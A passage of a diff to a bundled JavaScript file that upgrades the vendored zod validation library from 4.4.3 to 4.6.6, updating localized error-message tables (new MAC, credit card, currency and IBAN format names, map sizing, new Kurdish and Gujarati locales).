(issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59669,12 +60782,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -59742,17 +60859,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59778,12 +61029,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -59854,17 +61109,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59888,14 +61144,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59970,17 +61230,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60006,12 +61267,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -60079,12 +61344,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -60123,6 +61388,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -60189,12 +61457,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -60233,6 +61501,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -60241,12 +61512,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -60254,14 +61531,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -60292,6 +61569,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -60302,17 +61582,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60338,12 +61619,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -60412,12 +61697,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -60448,12 +61733,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -60545,17 +61834,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60581,12 +61871,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -60660,17 +61954,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -60700,12 +61995,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -60773,12 +62072,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -60789,7 +62088,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -60809,17 +62108,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -60833,11 +62136,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -60848,7 +62151,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -60873,13 +62176,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -60899,17 +62202,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60935,12 +62239,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -61007,12 +62315,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: 